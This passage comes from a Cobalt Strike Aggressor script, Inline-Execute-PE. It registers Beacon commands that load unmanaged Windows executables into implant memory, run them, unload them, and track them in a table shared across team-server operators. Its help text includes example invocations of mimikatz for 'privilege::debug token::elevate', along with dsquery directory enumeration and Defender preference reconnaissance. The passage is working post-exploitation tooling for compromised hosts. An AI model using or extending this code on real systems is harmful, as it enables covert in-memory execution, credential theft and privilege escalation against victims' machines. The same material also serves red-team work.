#Set issuedcommand bool back to FALSE so we no longer print messages 156 | $issuedcommand = 0; 157 | 158 | #Re-write local petable file with updated data 159 | writelogfile(); 160 | 161 | } 162 | #perun complete indicates a successful return from perun. This only exists so we can turn off the issuedcommand bool so we don't have multiple clients printing on subsequent output. 163 | else if("perun complete" isin $2) 164 | { 165 | #Set issuedcommand bool back to FALSE so we no longer print messages 166 | $issuedcommand = 0; 167 | } 168 | #perun successful means we have to update/remove entry from petable 169 | else if("peunload successful" isin $2) 170 | { 171 | $x = 0; 172 | 173 | #Iterate over each array in @loadedPE 174 | foreach @entry (@loadedPE) 175 | { 176 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 177 | if($1 eq @entry[0]) 178 | { 179 | break; 180 | } 181 | $x++; 182 | } 183 | 184 | #If Aborted == TRUE, clear some info but leave entry in table so that user's know they can't load another PE into this beacon. 185 | if(@loadedPE[$x][8] eq "TRUE") 186 | { 187 | @loadedPE[$x][2] = "DISABLED!"; 188 | @loadedPE[$x][5] = "null"; 189 | 190 | if($issuedcommand == 1) 191 | { 192 | blog($1, "\c9Successfully unloaded PE from Beacon!\c9"); 193 | blog($1, "\c4Note: This beacon aborted during perun and will be unable to load another PE!\c4"); 194 | } 195 | } 196 | else 197 | { 198 | #Remove entire entry from petable. 199 | remove(@loadedPE, @loadedPE[$x]); 200 | 201 | if($issuedcommand == 1) 202 | { 203 | blog($1, "\c9Successfully unloaded PE from beacon!\c9\n"); 204 | } 205 | } 206 | 207 | #Set issuedcommand bool back to FALSE so we no longer print messages 208 | $issuedcommand = 0; 209 | 210 | #Re-write local petable file with updated data 211 | writelogfile(); 212 | } 213 | } 214 | 215 | 216 | ###################################### Parse Event Log and update Inline-Execute-PE data structure ###################################### 217 | 218 | #Parse all events that hit the Event Log and act on those concerning Inline-Execute-PE events as well as notifications of new users joining the TS 219 | on event_action 220 | { 221 | local('$trash $bid $pid $pe $user $datetime $structaddr $timeout $unloadlibraries $aborted $option $setting $x'); 222 | #If peload is in the event message, a new petable entry was created by a client and needs to be added to every other clients table. 223 | if("peload" isin $2) 224 | { 225 | #Now split beacon_output by space delimeter and assign values as appropriate 226 | ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2); 227 | 228 | #Add entry to petable 229 | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); 230 | 231 | #Re-write local petable file with updated data 232 | writelogfile(); 233 | } 234 | 235 | #If peconfig is in the event message, we need to alter an existing petable entry. 236 | else if("peconfig" isin $2) 237 | { 238 | #Now split beacon_output by space delimeter and assign values as appropriate 239 | ($trash, $bid, $option, $setting) = split(' ~\*~ ', $2); 240 | 241 | $x = 0; 242 | #Iterate over each array in @loadedPE 243 | foreach @entry (@loadedPE) 244 | { 245 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 246 | if($bid eq @entry[0]) 247 | { 248 | break; 249 | } 250 | $x++; 251 | } 252 | 253 | #Update the proper option (timeout/unloadlibraries) 254 | if($option eq "timeout") 255 | { 256 | @loadedPE[$x][6] = $setting; 257 | } 258 | else #unloadlibraries 259 | { 260 | @loadedPE[$x][7] = $setting; 261 | } 262 | 263 | #Re-write local petable file with updated data 264 | writelogfile(); 265 | } 266 | 267 | #If pebroadcast is in event message and this client didn't send the broadcast, we need to sync our petable with the broadcasted one 268 | else if("pebroadcast" isin $2 && $1 ne mynick()) 269 | { 270 | #Now split beacon_output by space delimeter and assign values as appropriate 271 | ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2); 272 | 273 | $x = 0; 274 | $existingentry = 0; 275 | 276 | #Iterate over each array in @loadedPE 277 | foreach @entry (@loadedPE) 278 | { 279 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 280 | if($bid eq @entry[0]) 281 | { 282 | $existingentry = 1; 283 | break; 284 | } 285 | $x++; 286 | } 287 | 288 | #If we found an entry with the same $bid, update that entry 289 | if($existingentry == 1) 290 | { 291 | @loadedPE[$x][1] = $pid; 292 | @loadedPE[$x][2] = $pe; 293 | @loadedPE[$x][3] = $user; 294 | @loadedPE[$x][4] = $datetime; 295 | @loadedPE[$x][5] = $structaddr; 296 | @loadedPE[$x][6] = $timeout; 297 | @loadedPE[$x][7] = $unloadlibraries; 298 | @loadedPE[$x][8] = $aborted; 299 | } 300 | #Else we need to add a new row to petable for the entry we didn't have before. 301 | else 302 | { 303 | #Add entry to petable 304 | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); 305 | } 306 | 307 | #Re-write local petable file with updated data 308 | writelogfile(); 309 | } 310 | } 311 | 312 | #################################### Pass Inline-Execute-PE data structure to new users joining TS ##################################### 313 | 314 | on event_join 315 | { 316 | #Query CS data model for users currently connected to TS, sort alphabetically 317 | @users = sorta(data_query("users")); 318 | 319 | #If this client is the first user (alphabetically), they will broadcast their petable so that all other clients may update / populate their tables. 320 | if(@users[0] eq mynick()) 321 | { 322 | #We are going to sleep for 5 seconds to allow the new CS client to fully startup + try and read from the local petable file (if it exists) 323 | sleep(5000); 324 | 325 | foreach @entry (@loadedPE) 326 | { 327 | action("pebroadcast" . " ~*~ " . @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]); 328 | } 329 | } 330 | } 331 | 332 | ################################################################ petable ################################################################ 333 | 334 | alias petable 335 | { 336 | local('@temparr'); 337 | #If 'petable clear' is issued, iterate through table and remove any entries for beacons that have exited or haven't called back in 3x their sleep time (assumed dead); 338 | if($2 eq "clear") 339 | { 340 | foreach @entry (@loadedPE) 341 | { 342 | println(@entry); 343 | $bid = @entry[0]; 344 | if( !-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) 345 | { 346 | #Have to build temporary array since we can't remove array items while iterating over that array 347 | add(@temparr, @entry); 348 | } 349 | } 350 | 351 | #Now remove each item in temparr from actual table 352 | foreach @entry (@temparr) 353 | { 354 | remove(@loadedPE, @entry); 355 | } 356 | } 357 | 358 | #Otherwise print table 359 | else 360 | { 361 | $head1 = "PID"; 362 | $head2 = "PEname"; 363 | $head3 = "Loaded By"; 364 | $head4 = "Date/Time"; 365 | $head5 = "pMemAddrStruct"; 366 | $head6 = "Timeout"; 367 | $head7 = "UnloadLibraries"; 368 | 369 | blog($1, ""); 370 | blog($1, "\c9Green Entries\c9 = Active beacons"); 371 | blog($1, "\c4Red Entries = Active beacons that can no longer load a PE"); 372 | blog($1, "White Entries = Inactive beacons"); 373 | blog($1, ""); 374 | blog($1, "$[10]head1 $[30]head2 $[15]head3 $[15]head4 $[15]head5 $[15]head6 $[15]head7"); 375 | blog($1, "-" x 122); 376 | 377 | foreach @entry (@loadedPE) 378 | { 379 | $bid = @entry[0]; 380 | $pid = @entry[1]; 381 | $PEname = @entry[2]; #split("/", @entry[2], 50)[-1]; 382 | $user = @entry[3]; 383 | $datetime = @entry[4]; 384 | $pMemAddrStruct = @entry[5]; 385 | $timeout = @entry[6]; 386 | $bUnloadLibraries = @entry[7]; 387 | 388 | #Display still active beacons that have aborted a perun command as RED -> Cannot load another PE into them. 389 | if( -isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3) && @entry[8] eq "TRUE") 390 | { 391 | blog($1, "\c4$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c4"); 392 | } 393 | #Display still active beacons as GREEN 394 | else if(-isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3)) 395 | { 396 | blog($1, "\c9$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c9"); 397 | } 398 | #Display inactive beacons and those that haven't called back within 3x the sleep time as normal/white. 399 | else 400 | { 401 | blog($1, "$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries"); 402 | } 403 | } 404 | blog($1, ""); 405 | } 406 | } 407 | 408 | beacon_command_register( 409 | "petable", 410 | "View the table of currently loaded unmanaged Windows executables in Beacons", 411 | " 412 | Command: petable 413 | Summary: This command will display a table detailing all beacons in which a PE has been loaded. 414 | The table may additionally be cleared of old entries concerning dead beacons. 415 | 416 | Usage: petable 417 | Optional. 'clear' may be specified to clear entries from the table where Beacon is dead or has exceeded 3x callback time. 418 | 419 | Example: petable <- This example will display the table of Beacons with loaded PE's. 420 | Example: petable clear <- This example will clear the table of entries concerning Beacons that are either dead or who have exceeded 3x the callback time. 421 | " 422 | ); 423 | 424 | ################################################################ peload ################################################################# 425 | 426 | alias peload 427 | { 428 | local('$bid $barch $PE $args $x $matchfound'); 429 | 430 | $bid = $1; 431 | 432 | if(1 > size(@_) || 2 < size(@_) ) 433 | { 434 | berror($bid, "Invalid number of arguments"); 435 | berror($bid, beacon_command_detail("peload")); 436 | return; 437 | } 438 | 439 | $barch = barch($bid); 440 | if($barch ne "x64") 441 | { 442 | berror($1, "Only x64 is supported... sorry"); 443 | return; 444 | } 445 | 446 | #Make sure user hasn't specified a key greater than 99 characters in length so we don't overflow var in BOF 447 | if(strlen($key) > 99) 448 | { 449 | show_error("Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!"); 450 | berror($1, "Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!") 451 | exit(); 452 | } 453 | 454 | #Need to look at petable and see if there is already an entry for this beacon-> means there is already a mapped PE, don't let user map another 455 | $x = 0; 456 | $matchfound = 0; 457 | 458 | #Iterate over each array in @loadedPE 459 | foreach @entry (@loadedPE) 460 | { 461 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 462 | if($bid eq @entry[0]) 463 | { 464 | $matchfound = 1; 465 | break; 466 | } 467 | $x++; 468 | } 469 | 470 | if($matchfound == 1) 471 | { 472 | berror($bid, "This beacon already has a loaded PE: " . @loadedPE[$x][2]); 473 | exit(); 474 | } 475 | else if(!-exists $2) 476 | { 477 | berror($bid, "Specified executable does not exist!\n"); 478 | exit(); 479 | } 480 | else 481 | { 482 | # read in the right BOF file 483 | $handle = openf($2); 484 | $PE = readb($handle, -1); 485 | closef($handle); 486 | 487 | #Create array in @loadedPE to store PE data. 488 | #Values: BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted 489 | action("peload" . " ~*~ " . $bid . " ~*~ " . binfo($bid, "pid") . " ~*~ " . split("/", $2, 50)[-1] . " ~*~ " . mynick() . " ~*~ " . tstamp(ticks()) . " ~*~ " . "null" . " ~*~ " . "60" . " ~*~ " . "TRUE" . " ~*~ " . "FALSE"); 490 | 491 | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; 492 | $issuedcommand = 1; 493 | 494 | loadpe($bid, $PE); 495 | } 496 | } 497 | 498 | sub loadpe{ 499 | #Figure out the arch of this session 500 | $barch = barch($1); 501 | 502 | # read in the right BOF file 503 | $handle = openf(script_resource("peload. $+ $barch $+ .o")); 504 | $data = readb($handle, -1); 505 | closef($handle); 506 | 507 | # Pack the arguments 508 | $args = bof_pack($1, "bz", $2, $key); 509 | 510 | # Execute BOF 511 | beacon_inline_execute($1, $data, "go", $args); 512 | } 513 | 514 | beacon_command_register( 515 | "peload", 516 | "Load an unmanaged Windows executable into Beacon memory", 517 | " 518 | Command: peload 519 | Summary: This command will run a BOF to load an unmanaged PE into Beacon memory. 520 | Supports x64 C or C++ binaries compiled with mingw or visual studio. Binaries outside these parameters are untested. 521 | 522 | Usage: peload 523 | Required. Full path to the windows EXE you wish you load into the Beacon. 524 | 525 | Example: peload /root/windows_binaries/dsquery_win7.exe 526 | " 527 | ); 528 | 529 | ################################################################# perun ################################################################# 530 | 531 | alias perun 532 | { 533 | local('$cmdline $args $pMemAddrStruct $x $matchfound $timeout %params @keys'); 534 | 535 | $bid = $1; 536 | 537 | #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one 538 | $x = 0; 539 | $matchfound = 0; 540 | 541 | #Iterate over each array in @loadedPE 542 | foreach @entry (@loadedPE) 543 | { 544 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 545 | if($bid eq @entry[0]) 546 | { 547 | $matchfound = 1; 548 | break; 549 | } 550 | $x++; 551 | } 552 | 553 | if($matchfound == 0) 554 | { 555 | berror($bid, "There is not a PE mapped in this beacon!"); 556 | exit(); 557 | } 558 | else if(@loadedPE[$x][8] eq "TRUE") 559 | { 560 | berror($bid, "This Beacon cannot run a PE because the timeout condition was reached!"); 561 | exit(); 562 | } 563 | else 564 | { 565 | $pMemAddrStruct = @loadedPE[$x][5]; 566 | $cmdline = $fillerarg; 567 | $timeout = @loadedPE[$x][6]; 568 | 569 | $y = 0; 570 | #Iterate through args given to perun 571 | foreach $arg (@_) 572 | { 573 | #Discard the first arg; this is always the beacon ID which we don't need. Otherwise build final cmdline string by concatenating args. 574 | if($arg ne @_[0]) 575 | { 576 | #We have instructed users to 'escape' double quotes by using a backslash; identify this and replace with a normal double quote. 577 | $arg = strrep($arg, '\\"', '"'); 578 | println("arg " . $y . " is: " . $arg . "\n"); 579 | $cmdline = $cmdline . " " . $arg; 580 | } 581 | $y++; 582 | } 583 | 584 | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; 585 | $issuedcommand = 1; 586 | 587 | runpe($1, $pMemAddrStruct, $cmdline, $timeout); 588 | } 589 | } 590 | 591 | sub runpe{ 592 | #Figure out the arch of this session 593 | $barch = barch($1); 594 | 595 | # read in the right BOF file 596 | $handle = openf(script_resource("perun. $+ $barch $+ .o")); 597 | $data = readb($handle, -1); 598 | closef($handle); 599 | 600 | # Pack the arguments 601 | $args = bof_pack($bid, "zzzi", $key, $2, $3, $4); 602 | 603 | # Execute BOF 604 | beacon_inline_execute($bid, $data, "go", $args); 605 | } 606 | 607 | beacon_command_register( 608 | "perun", 609 | "Execute an unmanaged Windows executable in Beacon memory", 610 | " 611 | Command: perun 612 | Summary: This command will run a BOF to execute an unmanaged PE that was previously loaded using the peload command. 613 | Provide any command line arguments to the PE immediately following perun. 614 | Any double quotes (\") in the command line arguments must be escaped using the backslash (\\) character. 615 | 616 | Usage: perun ... 617 | An argument to the loaded PE. Do not specify the name of the executable, this is covered by the \"fillerarg\" variable in the aggressor script. 618 | 619 | Example: perun privilege::debug token::elevate exit <- This example when mimikatz.exe was loaded using peload 620 | Example: perun * -filter \\\"(objectclass=user)\\\" -attr * -Limit 1 <- This example when dsquery.exe was loaded using peload. Notice backslash to escape double quotes. 621 | Example: perun /c cd <- This example when cmd.exe was loaded using peload. 622 | Example: perun -acceptula -p explorer.exe <- This example when handle64.exe (sysinternals) was loaded using peload. 623 | Example: perun Get-MpPreference <- This example when powershell.exe was loaded using peload. 624 | " 625 | ); 626 | 627 | ################################################################ peunload ############################################################### 628 | 629 | alias peunload 630 | { 631 | local('$args $pMemAddrStruct $x $bUnloadLibraries'); 632 | 633 | $bid = $1; 634 | 635 | if( size(@_) > 1) 636 | { 637 | berror($bid, "Invalid number of arguments"); 638 | berror($bid, beacon_command_detail("peunload")); 639 | exit(); 640 | } 641 | 642 | if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) 643 | { 644 | berror($1, "Cannot unload PE from a Beacon that is not alive or has not called back within 3x the set sleep time!"); 645 | exit(); 646 | } 647 | 648 | #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one 649 | $x = 0; 650 | $matchfound = 0; 651 | 652 | #Iterate over each array in @loadedPE 653 | foreach @entry (@loadedPE) 654 | { 655 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 656 | if($bid eq @entry[0]) 657 | { 658 | $matchfound = 1; 659 | break; 660 | } 661 | $x++; 662 | } 663 | 664 | if($matchfound == 0) 665 | { 666 | berror($bid, "There is not a PE mapped in this beacon!"); 667 | exit(); 668 | } 669 | else if(@loadedPE[$x][2] eq "DISABLED!") 670 | { 671 | berror($bid, "There is not a PE mapped in this beacon!"); 672 | exit(); 673 | } 674 | else 675 | { 676 | #Translate bUnloadLibraries in table to numerical representation 677 | if(@loadedPE[$x][7] eq "TRUE") 678 | { 679 | $bUnloadLibraries = 1; 680 | } 681 | else 682 | { 683 | $bUnloadLibraries = 0; 684 | } 685 | 686 | $pMemAddrStruct = @loadedPE[$x][5]; 687 | 688 | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; 689 | $issuedcommand = 1; 690 | 691 | unloadpe($bid, $pMemAddrStruct, $bUnloadLibraries); 692 | } 693 | 694 | 695 | } 696 | 697 | sub unloadpe{ 698 | #Figure out the arch of this session 699 | $barch = barch($1); 700 | 701 | # read in the right BOF file 702 | $handle = openf(script_resource("peunload. $+ $barch $+ .o")); 703 | $data = readb($handle, -1); 704 | closef($handle); 705 | 706 | # Pack the arguments 707 | $args = bof_pack($bid, "zi", $2, $3); 708 | 709 | # Execute BOF 710 | beacon_inline_execute($bid, $data, "go", $args); 711 | } 712 | 713 | beacon_command_register( 714 | "peunload", 715 | "Unload an unmanaged Windows executable from Beacon memory", 716 | " 717 | Command: peunload 718 | Summary: This command will run a BOF to unload an unmanaged PE from Beacon memory and cleanup additional structures. 719 | Memory containing the PE will be zeroed out and freed. 720 | (most) handles and file pointers opened as part of Inline-Execute-PE will be closed. 721 | Will attempt to unload DLL's loaded by the PE unless otherwise specified by peconfig. 722 | 723 | Usage: peunload 724 | " 725 | ); 726 | 727 | ############################################################### peconfig ################################################################ 728 | 729 | alias peconfig 730 | { 731 | local('$x @entry $bid'); 732 | 733 | $bid = $1; 734 | 735 | if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) 736 | { 737 | berror($1, "Cannot update settings for a Beacon that is not alive or has not called back within 3x the set sleep time!"); 738 | exit(); 739 | } 740 | 741 | $x = 0; 742 | 743 | #Iterate over each array in @loadedPE 744 | foreach @entry (@loadedPE) 745 | { 746 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 747 | if($bid eq @entry[0]) 748 | { 749 | break; 750 | } 751 | $x++; 752 | } 753 | 754 | #Verify setting user wishes to alter 755 | if(lc($2) eq "timeout") 756 | { 757 | if($3 ismatch '\d+') 758 | { 759 | #Write to Event Log so all clients can update petable entry 760 | action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . $3); 761 | } 762 | else 763 | { 764 | berror($1, "Incorrect usage!"); 765 | berror($1, beacon_command_detail("peconfig")); 766 | exit(); 767 | } 768 | 769 | } 770 | else if(lc($2) eq "unloadlibraries") 771 | { 772 | if(lc($3) eq "true" || lc($3) eq "false") 773 | { 774 | #Write to Event Log so all clients can update petable entry 775 | action("peconfig" . " ~*~ " . $bid . " ~*~ " . $2 . " ~*~ " . uc($3)); 776 | } 777 | else 778 | { 779 | berror($1, "Incorrect usage!"); 780 | berror($1, beacon_command_detail("peconfig")); 781 | exit(); 782 | } 783 | } 784 | else 785 | { 786 | berror($bid, "Invalid setting"); 787 | berror($bid, beacon_command_detail("peconfig")); 788 | exit(); 789 | } 790 | } 791 | 792 | beacon_command_register( 793 | "peconfig", 794 | "Configure options for unmanaged Windows executables loaded in Beacon memory", 795 | " 796 | Command: peconfig 797 | Summary: This command alters options relating to a PE loaded in Beacon memory. 798 | These settings are on a per-PE basis; if you unload one PE from a Beacon and then load another, settings will revert to their defaults. 799 | Two options may be altered using this command: timeout and unloadlibraries 800 | 801 | timeout: This option controls how long Beacon will wait for the PE to finish running before forcibly terminating it. 802 | This limiter exists as a fail-safe for PE's which may have been given arguments that cause them to run infinitely (e.g. a mimikatz command that didn't include 'exit') 803 | Note that if a PE is aborted by the timeout feature, this Beacon will lose the ability to load and use additional PE's! 804 | 805 | unloadlibraries: This option dictates whether or not peunload will attempt to unload DLL's that were loaded by the PE during runtime. Default setting is TRUE. 806 | Sometimes Beacon will crash after DLL's that were loaded by a PE are unloaded; one such example is when a PE loads the .NET CLR (e.g. Powershell) 807 | This setting can be set to FALSE so that any DLL's loaded by a PE will be left in the process. 808 | 809 | Usage: peconfig